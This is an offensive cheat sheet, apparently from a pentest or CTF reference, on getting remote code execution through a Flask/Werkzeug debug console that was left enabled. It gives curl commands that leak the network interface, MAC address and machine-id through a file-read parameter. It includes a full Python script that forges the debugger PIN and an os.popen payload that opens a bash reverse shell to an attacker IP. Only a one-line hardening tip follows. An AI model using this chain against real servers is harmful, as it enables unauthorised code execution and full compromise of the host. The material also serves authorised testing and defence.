Werkzeug / Flask Debug Console
aka flask
Python Flask apps run on Werkzeug; with debug mode left on, the interactive console at /console gives RCE once you forge the debugger PIN. The PIN is derived from public bits (app user, module path) plus three server-specific values — the network interface, its MAC address, and the machine-id — which you read through an LFI/file-read.
Ports
| Port | Proto | Notes |
|---|---|---|
5000 | tcp | Flask default dev server |
80 | tcp | behind a reverse proxy |
Fingerprint
- Server header 'Werkzeug/x.y.z Python/3.x'
- Interactive traceback page on error; /console endpoint exists
Key files
| Path | Holds | Sensitive |
|---|---|---|
/proc/net/arp | the active network interface name (e.g. eth0 / ens33) | sensitive |
/sys/class/net/<iface>/address | the interface MAC — becomes uuid.getnode() | sensitive |
/etc/machine-id | machine id (or /proc/sys/kernel/random/boot_id) | sensitive |
/proc/self/cgroup | appended to machine-id on newer Werkzeug | sensitive |
Exploitation primitives
- Debug=True exposes /console — an interactive Python REPL in the browser
- The PIN needs an LFI/file-read to leak three server-specific values: interface name, that interface's MAC, and the machine-id
- Plus public bits: the app's run user, module name (flask.app), app class (Flask) and the flask app.py path
- Reproduce the PIN with the Werkzeug algorithm, unlock /console, run os.popen() for RCE as the app user
Overview
When a Flask/Werkzeug app ships with debug=True, any unhandled error exposes an interactive console at /console. It’s PIN-locked, but the PIN is deterministic — it’s hashed from values that live on the server, so if you have a file-read primitive (an LFI, traversal, or the app’s own file endpoint) you can reproduce it offline. No brute force.
Trigger the console
Force an exception, then open the console pane on the traceback page, or hit it directly:
http://<TARGET>:5000/console
What the PIN is made of
Werkzeug builds the PIN from two groups. The public bits you can usually guess; the private (server-specific) bits are the three values you must read off the box:
| Group | Value | Where to get it |
|---|---|---|
| public | app run user | /etc/passwd, or the process owner |
| public | module name | almost always flask.app |
| public | app class name | almost always Flask |
| public | flask app.py path | e.g. /usr/local/lib/python3.9/site-packages/flask/app.py (seen in the traceback) |
| private | network interface | /proc/net/arp → gives the active iface (e.g. eth0, ens33) |
| private | interface MAC | /sys/class/net/<iface>/address → converted to an int = uuid.getnode() |
| private | machine-id | /etc/machine-id (or /proc/sys/kernel/random/boot_id), plus /proc/self/cgroup on newer Werkzeug |
Leak the three server-specific values
Find the active interface name:
curl http://<TARGET>:5000/?file=/proc/net/arp
Read that interface’s MAC (here eth0):
curl http://<TARGET>:5000/?file=/sys/class/net/eth0/address
Read the machine-id (and cgroup on modern Werkzeug):
curl http://<TARGET>:5000/?file=/etc/machine-id
Reproduce the PIN
Feed the leaked values into the Werkzeug algorithm. The MAC must be converted to its integer form (uuid.getnode() style — strip the colons and int(mac, 16)):
import hashlib
from itertools import chain
probably_public_bits = [
'app-user', # run user
'flask.app', # modname
'Flask', # app class
'/usr/local/lib/python3.9/site-packages/flask/app.py', # app.py path
]
private_bits = [
str(0xa2dead9431d1), # int(MAC.replace(':',''),16) from /sys/class/net/<iface>/address
'machine-id-value' + 'cgroup-line', # /etc/machine-id (+ /proc/self/cgroup on newer)
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
h.update(bit.encode('utf-8'))
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = '-'.join(num[i:i+3] for i in range(0, len(num), 3))
print(rv)
Unlock /console with the PIN, then run a command as the app user:
import os; os.popen('bash -c "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1"').read()
Hardening
Never run with debug=True in production — the console alone is full RCE, and the PIN is only a speed bump once any file-read exists.